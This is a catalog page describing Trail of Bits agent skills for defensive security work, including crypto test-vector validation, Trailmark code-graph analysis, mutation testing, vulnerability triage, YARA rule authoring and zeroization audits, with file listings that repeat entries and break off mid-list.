SKILL.mdcore14,641 bytesagent-prompt.mddoc11,497 bytesagents/openai.yamlasset256 bytesassets/trail-of-bits-mark.svgasset3,084 bytesdiscovery.mddoc15,747 bytestemplates/domain-skill.mddoc17,036 bytestemplates/fuzzer-skill.mddoc11,363 bytestemplates/technique-skill.mddoc12,641 bytestemplates/tool-skill.mddoc9,440 bytestesting.mddoc16,692 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubwycheproof
When your agent uses it
Validates cryptographic implementations against Project Wycheproof's test vectors, which encode known attacks and edge cases across AES, RSA, ECDSA, ECDH, and more. Covers loading test vectors, mapping result flags onto pass and fail expectations, and reading a failure. Use when testing a crypto implementation against known attacks, checking a library against standard test vectors, or investigating why two implementations disagree on the same input.
What it loads into context
Frontmatter
98 tokensAlways available to the agent
SKILL.md
4,704 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Background
- When to Use
- Quick Reference
- Testing Workflow
- Repository Structure
- Supported Algorithms
- Test File Structure
- Implementation Guide
- Common Vulnerabilities Detected
- Case Study: Elliptic npm Package
- Advanced Usage
- Related Skills
- Skill Dependency Map
- Resources
- Summary
Files
SKILL.mdcore20,675 bytesSKILL.mdcore20,675 bytesSKILL.mdcore20,675 bytesSKILL.mdcore20,675 bytesSKILL.mdcore20,675 bytesSKILL.mdcore20,675 bytesagents/openai.yamlasset249 bytesassets/trail-of-bits-mark.svgasset3,084 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubaudit-augmentation
When your agent uses it
Augments Trailmark code graphs with external audit findings from SARIF static analysis results, weAudit annotation files, and version-gated Trailmark 0.4.x binary-analysis graph exports. Maps findings to graph nodes by file and line overlap, creates severity-based subgraphs, and enables cross-referencing findings with pre-analysis data (blast radius, taint, etc.). Use when projecting SARIF results onto a code graph, overlaying weAudit annotations, importing binary graph findings, cross-referencing Semgrep, CodeQL, or binary-analysis findings with call graph data, or visualizing audit findings in the context of code structure.
What it loads into context
Frontmatter
150 tokensAlways available to the agent
SKILL.md
2,261 tokensWhen the skill is activated
Reference documents
928 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use
- When NOT to Use
- Rationalizations to Reject
- Installation
- Version Gate
- Quick Start
- Workflow
- Annotation Format
- Subgraphs Created
- How Matching Works
- Supporting Documentation
Files
SKILL.mdcore9,335 bytesSKILL.mdcore9,335 bytesSKILL.mdcore9,335 bytesSKILL.mdcore9,335 bytesSKILL.mdcore9,335 bytesSKILL.mdcore9,335 bytesSKILL.mdcore9,335 bytesSKILL.mdcore9,335 bytesSKILL.mdcore9,335 bytesSKILL.mdcore9,335 bytesSKILL.mdcore9,335 bytesagents/openai.yamlasset245 bytesassets/trail-of-bits-mark.svgasset3,084 bytesreferences/formats.mddoc3,609 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubcrypto-protocol-diagram
When your agent uses it
Extracts protocol message flow from source code, RFCs, academic papers, pseudocode, informal prose, ProVerif (.pv), or Tamarin (.spthy) models and generates Mermaid sequenceDiagrams with cryptographic annotations. Use when diagramming a crypto protocol, visualizing a handshake or key exchange flow, extracting message flow from a spec or RFC, diagramming a ProVerif or Tamarin model, or drawing sequence diagrams for TLS, Noise, Signal, X3DH, Double Ratchet, FROST, DH, or ECDH protocols.
What it loads into context
Frontmatter
125 tokensAlways available to the agent
SKILL.md
4,781 tokensWhen the skill is activated
Reference documents
11,553 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use
- When NOT to Use
- Rationalizations to Reject
- Workflow
- Spec Workflow (S1–S5)
- Decision Tree
- Examples
- Supporting Documentation
Scripts executed separately
examples/simple-handshake/protocol.py
Files
SKILL.mdcore18,848 bytesSKILL.mdcore18,848 bytesSKILL.mdcore18,848 bytesSKILL.mdcore18,848 bytesSKILL.mdcore18,848 bytesSKILL.mdcore18,848 bytesSKILL.mdcore18,848 bytesSKILL.mdcore18,848 bytesSKILL.mdcore18,848 bytesagents/openai.yamlasset244 bytesassets/trail-of-bits-mark.svgasset3,084 bytesexamples/simple-handshake/expected-output.mddoc4,947 bytesexamples/simple-handshake/protocol.pyruns5,856 bytesexamples/simple-proverif/expected-output.mddoc4,074 bytesexamples/simple-proverif/model.pvasset1,794 bytesreferences/ascii-sequence-diagram.mddoc2,365 bytesreferences/mermaid-sequence-syntax.mddoc7,703 bytesreferences/protocol-patterns.mddoc11,132 bytesreferences/spec-parsing-patterns.mddoc11,888 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubdiagramming-code
When your agent uses it
Generates Mermaid diagrams from Trailmark code graphs. Produces call graphs, class hierarchies, module dependency maps, containment diagrams, complexity heatmaps, and attack surface data flow visualizations. Use when visualizing code architecture, drawing call graphs, generating class diagrams, creating dependency maps, producing complexity heatmaps, or visualizing data flow and attack surface paths as Mermaid diagrams.
What it loads into context
Frontmatter
94 tokensAlways available to the agent
SKILL.md
1,722 tokensWhen the skill is activated
Reference documents
2,098 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use
- When NOT to Use
- Prerequisites
- Version Gate
- Quick Start
- Diagram Types
- Workflow
- Script Reference
- Customization
- Supporting Documentation
Scripts executed separately
scripts/diagram.pyscripts/test_skill_commands.py
Files
SKILL.mdcore6,811 bytesSKILL.mdcore6,811 bytesSKILL.mdcore6,811 bytesSKILL.mdcore6,811 bytesSKILL.mdcore6,811 bytesSKILL.mdcore6,811 bytesSKILL.mdcore6,811 bytesagents/openai.yamlasset241 bytesassets/trail-of-bits-mark.svgasset3,084 bytesreferences/diagram-types.mddoc5,186 bytesreferences/mermaid-syntax.mddoc2,947 bytesscripts/diagram.pyruns389 bytesscripts/test_skill_commands.pyruns1,118 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubgenotoxic
When your agent uses it
Graph-informed mutation testing triage. Parses codebases with Trailmark, runs mutation testing and necessist, then uses survived mutants, unnecessary test statements, and call graph data to identify false positives, missing test coverage, and fuzzing targets. Use when triaging survived mutants, analyzing mutation testing results, identifying test gaps, finding fuzzing targets from weak tests, running mutation frameworks (including circomvent and cairo-mutants), or using necessist.
What it loads into context
Frontmatter
98 tokensAlways available to the agent
SKILL.md
2,938 tokensWhen the skill is activated
Reference documents
13,423 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use
- When NOT to Use
- Prerequisites
- Rationalizations to Reject
- Quick Start
- Workflow Overview
- Decision Tree
- Phase 1: Build Code Graph and Run Pre-Analysis
- Phase 2: Run Mutation Testing
- Phase 2b: Run Necessist (Optional)
- Phase 3: Triage Findings
- Output Format
- Quality Checklist
- Integration
- Supporting Documentation
Files
SKILL.mdcore13,013 bytesSKILL.mdcore13,013 bytesSKILL.mdcore13,013 bytesSKILL.mdcore13,013 bytesSKILL.mdcore13,013 bytesSKILL.mdcore13,013 bytesSKILL.mdcore13,013 bytesSKILL.mdcore13,013 bytesagents/openai.yamlasset229 bytesassets/trail-of-bits-mark.svgasset3,084 bytesreferences/graph-analysis.mddoc13,109 bytesreferences/mutation-frameworks.mddoc28,786 bytesreferences/triage-methodology.mddoc12,056 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubgraph-evolution
When your agent uses it
Compares Trailmark code graphs at two source code snapshots (git commits, tags, or directories) to surface security-relevant structural changes. Detects new attack paths, complexity shifts, blast radius growth, taint propagation changes, and privilege boundary modifications that text diffs miss. Use when comparing code between commits or tags, analyzing structural evolution, detecting attack surface growth, reviewing what changed between audit snapshots, or finding security-relevant changes that text diffs miss.
What it loads into context
Frontmatter
113 tokensAlways available to the agent
SKILL.md
3,077 tokensWhen the skill is activated
Reference documents
2,137 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use
- When NOT to Use
- Rationalizations to Reject
- Prerequisites
- Quick Start
- Decision Tree
- Workflow
- Diff Reference
- Quality Checklist
- Integration
- Supporting Documentation
Scripts executed separately
scripts/graph_diff.py
Files
SKILL.mdcore13,506 bytesSKILL.mdcore13,506 bytesSKILL.mdcore13,506 bytesSKILL.mdcore13,506 bytesSKILL.mdcore13,506 bytesSKILL.mdcore13,506 bytesSKILL.mdcore13,506 bytesSKILL.mdcore13,506 bytesSKILL.mdcore13,506 bytesSKILL.mdcore13,506 bytesSKILL.mdcore13,506 bytesSKILL.mdcore13,506 bytesSKILL.mdcore13,506 bytesSKILL.mdcore13,506 bytesagents/openai.yamlasset246 bytesassets/trail-of-bits-mark.svgasset3,084 bytesreferences/evolution-metrics.mddoc5,205 bytesreferences/report-format.mddoc4,340 bytesscripts/graph_diff.pyruns7,845 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubmermaid-to-proverif
When your agent uses it
Translates Mermaid sequenceDiagrams describing cryptographic protocols into ProVerif formal verification models (.pv files). Use when generating a ProVerif model, formally verifying a protocol, converting a Mermaid diagram to ProVerif, verifying protocol security properties (secrecy, authentication, forward secrecy), checking for replay attacks, or producing a .pv file from a sequence diagram.
What it loads into context
Frontmatter
86 tokensAlways available to the agent
SKILL.md
4,661 tokensWhen the skill is activated
Reference documents
10,235 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use
- When NOT to Use
- Rationalizations to Reject
- Workflow
- Decision Tree
- Example
- Supporting Documentation
Scripts executed separately
tests/test_guidance.py
Files
SKILL.mdcore18,644 bytesagents/openai.yamlasset249 bytesassets/trail-of-bits-mark.svgasset3,084 bytesexamples/simple-handshake/diagram.mddoc1,835 bytesexamples/simple-handshake/sample-output.pvasset10,031 bytesreferences/crypto-to-proverif-mapping.mddoc10,317 bytesreferences/proverif-syntax.mddoc14,233 bytesreferences/security-properties.mddoc12,361 bytestests/test_guidance.pyruns2,004 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubslicing-code-context
When your agent uses it
Selects bounded, graph-informed source slices with Trailmark and delegates focused code analysis or patch-proposal work to a smaller subagent. Use when offloading function-, class-, caller-, callee-, call-path-, entrypoint-, or line-focused code tasks to constrained or locally hosted models without exposing the full repository.
What it loads into context
Frontmatter
72 tokensAlways available to the agent
SKILL.md
1,888 tokensWhen the skill is activated
Reference documents
903 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use
- When NOT to Use
- Rationalizations to Reject
- Workflow
- Error Handling
- Example Requests
- Input to Output Example
Scripts executed separately
scripts/build_slice_packet.pyscripts/test_build_slice_packet.py
Files
SKILL.mdcore8,558 bytesSKILL.mdcore8,558 bytesSKILL.mdcore8,558 bytesSKILL.mdcore8,558 bytesSKILL.mdcore8,558 bytesSKILL.mdcore8,558 bytesSKILL.mdcore8,558 bytesSKILL.mdcore8,558 bytesSKILL.mdcore8,558 bytesSKILL.mdcore8,558 bytesSKILL.mdcore8,558 bytesSKILL.mdcore8,558 bytesagents/openai.yamlasset361 bytesassets/trail-of-bits-mark.svgasset3,084 bytesreferences/slice-packet.mddoc4,184 bytesscripts/build_slice_packet.pyruns39,235 bytesscripts/pyproject.tomlasset316 bytesscripts/test_build_slice_packet.pyruns18,901 bytesscripts/uv.lockasset51,290 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubtrailmark
When your agent uses it
Builds and queries multi-language source and binary code graphs for security analysis. Includes pre-analysis passes for blast radius, taint propagation, privilege boundaries, entry point enumeration, proxy/unresolved-call tracking, type/reference queries, structural traversal, graph diffs, audit augmentation, declared cross-language/FFI/external links via `.trailmark/links.toml`, and SQL schema graphs. Use when analyzing call paths, mapping attack surface, finding complexity hotspots, enumerating entry points, tracing taint propagation, measuring blast radius, importing SARIF/weAudit/binary findings, linking source graphs across language or RPC boundaries, or building a code graph for audit prioritization. Feature-gate version-specific Trailmark APIs before using them; prefer `trailmark.parse.detect_languages()` or `--language auto` when the target language is unknown or polyglot.
What it loads into context
Frontmatter
178 tokensAlways available to the agent
SKILL.md
4,065 tokensWhen the skill is activated
Reference documents
3,595 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use
- When NOT to Use
- Rationalizations to Reject
- Installation
- Version Gate
- Quick Start
- Pre-Analysis Passes
- Language Selection
- Repository Links (v0.5+)
- Graph Model
- Key Concepts
- Query Patterns
Files
SKILL.mdcore17,440 bytesSKILL.mdcore17,440 bytesSKILL.mdcore17,440 bytesSKILL.mdcore17,440 bytesSKILL.mdcore17,440 bytesSKILL.mdcore17,440 bytesSKILL.mdcore17,440 bytesSKILL.mdcore17,440 bytesSKILL.mdcore17,440 bytesSKILL.mdcore17,440 bytesSKILL.mdcore17,440 bytesSKILL.mdcore17,440 bytesSKILL.mdcore17,440 bytesSKILL.mdcore17,440 bytesSKILL.mdcore17,440 bytesSKILL.mdcore17,440 bytesSKILL.mdcore17,440 bytesSKILL.mdcore17,440 bytesSKILL.mdcore17,440 bytesSKILL.mdcore17,440 bytesSKILL.mdcore17,440 bytesSKILL.mdcore17,440 bytesSKILL.mdcore17,440 bytesSKILL.mdcore17,440 bytesSKILL.mdcore17,440 bytesSKILL.mdcore17,440 bytesSKILL.mdcore17,440 bytesSKILL.mdcore17,440 bytesagents/openai.yamlasset242 bytesassets/trail-of-bits-mark.svgasset3,084 bytesreferences/preanalysis-passes.mddoc5,778 bytesreferences/query-patterns.mddoc8,934 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubtrailmark-finding-triage
When your agent uses it
Performs graph-assisted triage of a single security finding, SARIF result, weAudit annotation, suspicious function, or report excerpt using Trailmark reachability, entrypoint paths, taint, privilege-boundary, blast-radius, caller/callee, and neighborhood evidence. Use when deciding whether one candidate issue is reachable, prioritizing a finding before PoC work, preparing evidence for exploit validation, or checking whether a static-analysis result is actionable.
What it loads into context
Frontmatter
125 tokensAlways available to the agent
SKILL.md
1,746 tokensWhen the skill is activated
Reference documents
1,372 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use
- When NOT to Use
- Rationalizations to Reject
- Workflow
- Example Prompts
Scripts executed separately
scripts/evidence_packet.pyscripts/test_evidence_packet.py
Files
SKILL.mdcore7,803 bytesSKILL.mdcore7,803 bytesSKILL.mdcore7,803 bytesSKILL.mdcore7,803 bytesSKILL.mdcore7,803 bytesSKILL.mdcore7,803 bytesSKILL.mdcore7,803 bytesSKILL.mdcore7,803 bytesSKILL.mdcore7,803 bytesagents/openai.yamlasset245 bytesassets/trail-of-bits-mark.svgasset3,084 bytesreferences/input-normalization.mddoc1,842 bytesreferences/output-format.mddoc1,756 bytesreferences/query-recipes.mddoc2,432 bytesscripts/evidence_packet.pyruns10,476 bytesscripts/test_evidence_packet.pyruns10,521 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubtrailmark-review-gate
When your agent uses it
Runs a Trailmark structural review gate over a branch, pull request, fix commit, release diff, or git ref range to detect new entrypoints, new tainted paths, removed validation or authorization calls, privilege-boundary drift, blast-radius growth, complexity growth, and newly reachable sensitive sinks. Use when reviewing a PR, branch, remediation commit, or release diff where graph-level security regressions should be checked before merge.
What it loads into context
Frontmatter
119 tokensAlways available to the agent
SKILL.md
990 tokensWhen the skill is activated
Reference documents
1,038 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use
- When NOT to Use
- Rationalizations to Reject
- Workflow
- Requirements
Files
SKILL.mdcore4,451 bytesagents/openai.yamlasset246 bytesassets/trail-of-bits-mark.svgasset3,084 bytesreferences/gate-rules.mddoc2,297 bytesreferences/output-format.mddoc1,028 bytesreferences/review-integration.mddoc1,399 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubtrailmark-structural
When your agent uses it
Runs full Trailmark structural analysis by building a graph, running `preanalysis()`, and reporting hotspots, taint, blast radius, privilege boundaries, attack surface, and version-gated Trailmark 0.4+/0.5+ data such as proxy counts, subgraph edges, type/reference summaries, and entrypoint attributes. Use when vivisect needs detailed structural data for a target. Triggers: structural analysis, blast radius, taint analysis, complexity hotspots, proxy nodes, type references.
What it loads into context
Frontmatter
121 tokensAlways available to the agent
SKILL.md
1,494 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use
- When NOT to Use
- Rationalizations to Reject
- Usage
- Execution
Files
SKILL.mdcore6,194 bytesSKILL.mdcore6,194 bytesSKILL.mdcore6,194 bytesSKILL.mdcore6,194 bytesSKILL.mdcore6,194 bytesSKILL.mdcore6,194 bytesSKILL.mdcore6,194 bytesagents/openai.yamlasset256 bytesassets/trail-of-bits-mark.svgasset3,084 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubtrailmark-summary
When your agent uses it
Runs a Trailmark summary analysis on a codebase. Returns auto-detected languages, entry point count, and dependency list. Use when vivisect or galvanize needs a quick structural overview. Triggers: trailmark summary, code summary, structural overview.
What it loads into context
Frontmatter
69 tokensAlways available to the agent
SKILL.md
854 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use
- When NOT to Use
- Rationalizations to Reject
- Usage
- Execution
Files
SKILL.mdcore3,701 bytesSKILL.mdcore3,701 bytesSKILL.mdcore3,701 bytesSKILL.mdcore3,701 bytesSKILL.mdcore3,701 bytesagents/openai.yamlasset238 bytesassets/trail-of-bits-mark.svgasset3,084 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubtrailmark-variant-neighborhood
When your agent uses it
Expands one confirmed or suspected vulnerability into a Trailmark graph neighborhood of variant candidates by finding sibling functions, shared callers and callees, common sensitive sinks, common entrypoint paths, interface implementations, override relationships, type/reference neighbors, and structurally similar nodes. Use after one issue is found to seed variant-analysis, semgrep-rule-creator, static-analysis, or manual review with graph-derived candidate locations.
What it loads into context
Frontmatter
116 tokensAlways available to the agent
SKILL.md
942 tokensWhen the skill is activated
Reference documents
1,138 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use
- When NOT to Use
- Rationalizations to Reject
- Workflow
- Stop Conditions
Files
SKILL.mdcore4,292 bytesSKILL.mdcore4,292 bytesagents/openai.yamlasset252 bytesassets/trail-of-bits-mark.svgasset3,084 bytesreferences/neighborhood-patterns.mddoc2,248 bytesreferences/output-format.mddoc1,469 bytesreferences/ranking.mddoc1,628 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubvector-forge
When your agent uses it
Mutation-driven test vector generation. Finds implementations of a cryptographic algorithm or protocol, runs mutation testing to identify escaped mutants, then generates new test vectors that deliberately exercise the uncovered code paths. Compares before/after mutation kill rates to prove vector effectiveness. Use when generating cryptographic test vectors, measuring Wycheproof coverage gaps, finding escaped mutants via mutation testing, creating cross-implementation test suites, or improving test vector coverage for crypto primitives.
What it loads into context
Frontmatter
97 tokensAlways available to the agent
SKILL.md
4,400 tokensWhen the skill is activated
Reference documents
11,022 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use
- When NOT to Use
- Prerequisites
- Rationalizations to Reject
- Workflow Overview
- Phase 1: Discovery
- Phase 2: Harness
- Phase 3: Baseline
- Phase 4: Escape Analysis (Graph-Informed Triage)
- Phase 5: Vector Generation
- Phase 6: Validation
- Output Format
- Quality Checklist
- Integration
- Supporting Documentation
Files
SKILL.mdcore19,383 bytesSKILL.mdcore19,383 bytesSKILL.mdcore19,383 bytesSKILL.mdcore19,383 bytesSKILL.mdcore19,383 bytesagents/openai.yamlasset241 bytesassets/trail-of-bits-mark.svgasset3,084 bytesreferences/fault-simulation.mddoc5,831 bytesreferences/lessons-learned.mddoc7,785 bytesreferences/mutation-frameworks.mddoc20,281 bytesreferences/report-template.mddoc912 bytesreferences/vector-patterns.mddoc9,867 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubvariant-analysis
When your agent uses it
Hunts for the other instances of a bug already found — the variants of one root cause across a codebase. Use immediately after a vulnerability, logic bug, or bad pattern turns up in a specific file and the question becomes where else it occurs, including the bare conversational form ("are there others like this?", "is this the same bug?"). Also for generalizing one known instance into a CodeQL or Semgrep query for its whole pattern family, and for triaging a set of look-alike candidates against a known root cause. Not for initial discovery with no bug in hand.
What it loads into context
Frontmatter
124 tokensAlways available to the agent
SKILL.md
846 tokensWhen the skill is activated
Reference documents
3,501 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use
- When NOT to Use
- The Five Steps
- Running it as a Workflow
- What Makes Hunts Fail
- Resources
Files
SKILL.mdcore3,903 bytesagents/openai.yamlasset247 bytesassets/trail-of-bits-mark.svgasset3,084 bytesreferences/reporting.mddoc1,547 bytesreferences/root-cause.mddoc4,209 bytesreferences/searching.mddoc4,585 bytesreferences/triage.mddoc3,587 bytesresources/codeql/cpp.qlasset3,503 bytesresources/codeql/go.qlasset2,018 bytesresources/codeql/java.qlasset2,365 bytesresources/codeql/javascript.qlasset1,733 bytesresources/codeql/python.qlasset2,447 bytesresources/semgrep/cpp.yamlasset2,795 bytesresources/semgrep/go.yamlasset1,797 bytesresources/semgrep/java.yamlasset2,011 bytesresources/semgrep/javascript.yamlasset1,715 bytesresources/semgrep/python.yamlasset2,002 bytesresources/variant-report-template.mddoc1,356 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubvulnerability-triage-brocards
When your agent uses it
This skill should be used when the user asks to "triage a vulnerability report", "assess a CVE", "evaluate a bug bounty submission", "decide if a finding is valid", "review a security finding", "dismiss a vulnerability", "should we fix this CVE", "prioritize a vulnerability report", or needs to determine whether an incoming vulnerability report warrants investigation. Applies 7 brocards (rules of thumb) to systematically accept, dismiss, or request more information on vulnerability reports, or needs to filter raw findings from agentic vulnerability discovery pipelines before human review.
What it loads into context
Frontmatter
147 tokensAlways available to the agent
SKILL.md
1,972 tokensWhen the skill is activated
Reference documents
2,215 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use
- When NOT to Use
- Pipeline Position
- Triage Workflow
- Output Format
- Rationalizations to Reject
- Detailed References
Files
SKILL.mdcore8,721 bytesSKILL.mdcore8,721 bytesreferences/brocards-detail.mddoc10,790 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubwriting-lean-proofs
When your agent uses it
Writes and reviews structured Lean 4 proofs and designs Lean libraries following Mathlib conventions. Use when proving theorems in Lean, formalizing mathematics or specifications in Lean 4, defining new types or definitions in a Lean library, reviewing Lean proofs for readability and maintainability, refactoring long tactic proofs into lemmas, filling in sorry placeholders in a Lean development, setting up CI or linters for a Lean project, diagnosing slow proofs or maxHeartbeats timeouts, or writing custom tactics, macros, or linters.
What it loads into context
Frontmatter
116 tokensAlways available to the agent
SKILL.md
3,863 tokensWhen the skill is activated
Reference documents
18,149 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Contents
- When to Use
- When NOT to Use
- The workflow
- The extraction ladder
- Quick reference
- Rationalizations to reject
- References
Files
SKILL.mdcore15,997 bytesSKILL.mdcore15,997 bytesSKILL.mdcore15,997 bytesSKILL.mdcore15,997 bytesreferences/anti-patterns.mddoc7,020 bytesreferences/library-design.mddoc7,852 bytesreferences/linting.mddoc22,615 bytesreferences/llm-techniques.mddoc5,522 bytesreferences/naming-conventions.mddoc2,566 bytesreferences/performance.mddoc5,417 bytesreferences/proof-style.mddoc7,952 bytesreferences/tactics.mddoc16,530 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubyara-rule-authoring
When your agent uses it
Guides authoring of high-quality YARA-X detection rules for malware identification. Use when writing, reviewing, or optimizing YARA rules. Covers naming conventions, string selection, performance optimization, migration from legacy YARA, and false positive reduction. Triggers on: YARA, YARA-X, malware detection, threat hunting, IOC, signature, crx module, dex module.
What it loads into context
Frontmatter
92 tokensAlways available to the agent
SKILL.md
6,345 tokensWhen the skill is activated
Reference documents
19,196 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Core Principles
- When to Use
- When NOT to Use
- Platform Considerations
- String Selection
- Condition Design
- Before Writing: Is the Sample Packed?
- Debugging False Positives
- Rationalizations to Reject
- Toolkit
- Chrome Extension Analysis (crx module)
- Android DEX Analysis (dex module)
- Migrating from Legacy YARA
- Naming and Metadata
- Workflow
- Common Mistakes
- Quality Checklist
- Scripts
- Further Reading
Scripts executed separately
scripts/atom_analyzer.pyscripts/review.shscripts/test_yara_rules.pyscripts/yara_lint.pyscripts/yara_rules.py
Files
SKILL.mdcore24,806 bytesSKILL.mdcore24,806 bytesSKILL.mdcore24,806 bytesSKILL.mdcore24,806 bytesSKILL.mdcore24,806 bytesSKILL.mdcore24,806 bytesagents/openai.yamlasset236 bytesassets/trail-of-bits-mark.svgasset3,084 bytesexamples/MAL_Mac_ProtonRAT_Jan25.yarasset3,314 bytesexamples/MAL_NPM_SupplyChain_Jan25.yarasset5,478 bytesexamples/MAL_Win_Remcos_Jan25.yarasset3,210 bytesexamples/SUSP_CRX_SuspiciousPermissions.yarasset4,323 bytesexamples/SUSP_JS_Obfuscation_Jan25.yarasset5,829 bytesreferences/crx-module.mddoc7,500 bytesreferences/dex-module.mddoc10,384 bytesreferences/performance.mddoc8,898 bytesreferences/strings.mddoc11,868 bytesreferences/style-guide.mddoc9,484 bytesreferences/testing.mddoc13,376 bytesscripts/atom_analyzer.pyruns4,719 bytesscripts/pyproject.tomlasset553 bytesscripts/review.shruns2,967 bytesscripts/test_yara_rules.pyruns18,111 bytesscripts/uv.lockasset3,532 bytesscripts/yara_lint.pyruns4,849 bytesscripts/yara_rules.pyruns31,124 bytesworkflows/rule-development.mddoc13,553 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubzeroize-audit
When your agent uses it
Detects missing zeroization of sensitive data in source code and identifies zeroization removed by compiler optimizations, with assembly-level analysis, and control-flow verification. Use for auditing C/C++/Rust code handling secrets, keys, passwords, or other sensitive data.
What it loads into context
Frontmatter
111 tokensAlways available to the agent
SKILL.md
6,680 tokensWhen the skill is activated
Reference documents
64,242 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use
- When NOT to Use
- Execution Contract
- How to Run
- Purpose
- Scope
- Inputs
- Prerequisites
- Approved Wipe APIs
- Finding Capabilities
- Agent Architecture
- Cross-Reference Convention
- Detection Strategy
- Output Format
- Confidence Gating
- Fix Recommendations
- Rationalizations to Reject
Scripts executed separately
tools/analyze_asm.shtools/analyze_cfg.pytools/analyze_heap.shtools/analyze_ir_semantic.pytools/diff_ir.shtools/diff_rust_mir.shtools/emit_asm.shtools/emit_ir.shtools/emit_rust_asm.shtools/emit_rust_ir.shtools/emit_rust_mir.shtools/extract_compile_flags.pytools/generate_poc.pytools/mcp/apply_confidence_gates.pytools/mcp/check_mcp.shtools/mcp/normalize_mcp_evidence.pytools/scripts/check_llvm_patterns.pytools/scripts/check_mir_patterns.pytools/scripts/check_rust_asm.pytools/scripts/check_rust_asm_aarch64.pytools/scripts/check_rust_asm_x86.pytools/scripts/find_dangerous_apis.pytools/scripts/semantic_audit.pytools/track_dataflow.shtools/validate_rust_toolchain.sh
Files
../../agents/0-preflight.mddoc6,343 bytes../../agents/1-mcp-resolver.mddoc4,208 bytes../../agents/2-source-analyzer.mddoc6,569 bytes../../agents/2b-rust-source-analyzer.mddoc10,035 bytes../../agents/3-tu-compiler-analyzer.mddoc8,877 bytes../../agents/3b-rust-compiler-analyzer.mddoc16,445 bytes../../agents/4-report-assembler.mddoc14,433 bytes../../agents/5-poc-generator.mddoc16,591 bytes../../agents/5b-poc-validator.mddoc3,843 bytes../../agents/5c-poc-verifier.mddoc10,828 bytes../../agents/6-test-generator.mddoc2,970 bytesSKILL.mdcore26,668 bytesSKILL.mdcore26,668 bytesSKILL.mdcore26,668 bytesSKILL.mdcore26,668 bytesagents/openai.yamlasset235 bytesassets/trail-of-bits-mark.svgasset3,084 bytesconfigs/c.yamlasset456 bytesconfigs/default.yamlasset3,955 bytesconfigs/rust.yamlasset3,263 bytesprompts/report_template.mddoc7,050 bytesprompts/system.mddoc8,443 bytesprompts/task.mddoc4,684 bytesreferences/compile-commands.mddoc10,230 bytesreferences/detection-strategy.mddoc10,226 bytesreferences/ir-analysis.mddoc11,221 bytesreferences/mcp-analysis.mddoc9,283 bytesreferences/poc-generation.mddoc21,651 bytesreferences/rust-zeroization-patterns.mddoc35,542 bytesschemas/input.jsonasset3,174 bytesschemas/output.jsonasset6,040 bytestools/analyze_asm.shruns5,286 bytestools/analyze_cfg.pyruns13,056 bytestools/analyze_heap.shruns5,580 bytestools/analyze_ir_semantic.pyruns15,149 bytestools/diff_ir.shruns4,111 bytestools/diff_rust_mir.shruns6,397 bytestools/emit_asm.shruns1,026 bytestools/emit_ir.shruns1,340 bytestools/emit_rust_asm.shruns4,337 bytestools/emit_rust_ir.shruns3,411 bytestools/emit_rust_mir.shruns3,536 bytestools/extract_compile_flags.pyruns8,821 bytestools/generate_poc.pyruns48,561 bytestools/mcp/apply_confidence_gates.pyruns3,374 bytestools/mcp/check_mcp.shruns1,251 bytestools/mcp/normalize_mcp_evidence.pyruns3,906 bytestools/scripts/check_llvm_patterns.pyruns17,576 bytestools/scripts/check_mir_patterns.pyruns19,399 bytestools/scripts/check_rust_asm.pyruns16,243 bytestools/scripts/check_rust_asm_aarch64.pyruns10,246 bytestools/scripts/check_rust_asm_x86.pyruns9,587 